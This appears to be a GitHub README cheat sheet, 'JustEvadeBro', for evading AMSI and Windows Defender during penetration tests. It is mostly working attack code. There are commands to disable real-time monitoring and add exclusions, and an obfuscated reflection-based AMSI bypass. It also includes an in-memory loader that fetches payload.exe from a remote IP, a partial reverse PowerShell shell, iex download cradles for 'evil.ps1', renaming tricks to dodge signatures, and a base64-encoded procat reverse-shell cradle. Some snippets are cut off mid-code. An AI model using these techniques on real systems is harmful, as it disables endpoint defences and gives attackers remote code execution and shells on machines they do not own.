#JustEvadeBro

JustEvadeBro, a cheat sheet which will aid you through AMSI evasion.

(Inspired by https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)

Please be aware that some of these methods may not be good for OPSEC. I will add a OPSEC method to each section in the future.

Feel free to submit a Pull Request & leave a star to share some love if this helped you. 💖

Yes, we are open to Pull Requests for Hacktoberfest! Please ensure its not spam and actually contributes well to this repo. Thanks & happy hacking!

Obfuscation Tools:

Easiest way to evading Defender (Requires elevation)

Turning off Windows Defender: Set-MpPreference -DisableRealtimeMonitoring $true

Another easy way to evade Defender (Requires elevation)

Adding a folder exclusion Add-MpPreference -ExclusionPath "C:\temp"

Checking exclusions

Get-MpPreference | Select-Object -Property ExclusionPath

ExclusionPath
-------------
{C:\temp}

AMSI bypasses (working as of 17/01/2022)

Multi-line bypass:

$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

Credit: unknown as of yet.

Misc things:

WebClient DownloadData http://x.x.x.x/file.exe method:

$bytes = (new-object net.webclient).downloaddata("http://10.10.16.74:8080/payload.exe")
[System.Reflection.Assembly]::Load($bytes)
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
$main = [Shell].getmethod("Main", $BindingFlags)
$main.Invoke($null, $null)

Reverse PowerShell:

$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 4445);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
        $writer.Write("PS> ");
        $writer.Flush();
        $read = $null;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);

Tools that may help with AV Evasion:

iex(new-object net.webclient).downloadstring('https://bla.com/evil.ps1')

Encoding to bypass:

Extra features I performed to ensure (basic) AV evasion is done right:

renamed every mention of 'powercat' to 'papacat' in the file
renamed the file from 'powercat.ps1' to 'papacat.ps1'
removed the help output from '$Help'

These steps may not be necessary to evade AV.

Note: This is not a fully undetected bypass. As of 24/11/2021 @ 9:35 AM this works against Windows Defender (Security intelligence version 1.353.1502.0), but may not work against other AV. For detections see the links below:

PEzor!

git clone https://github.com/phra/PEzor.git
cd PEzor
sudo bash install.sh
bash PEzor.sh -h

A method that bypassed Defender on an engagement at work (Sometime 2020) [Confirm if it still works]

Download and add procat -c x.x.x.x-p 4444 -e cmd.exe to the bottom of procat.ps1.
Execute: echo -n 'iex (New-Object Net.WebClient).DownloadString("http://x.x.x.x/procat.ps1")' | iconv -t utf-16le | base64 -w0 on the attacking machine.
Execute a Python server on the attacking machine:
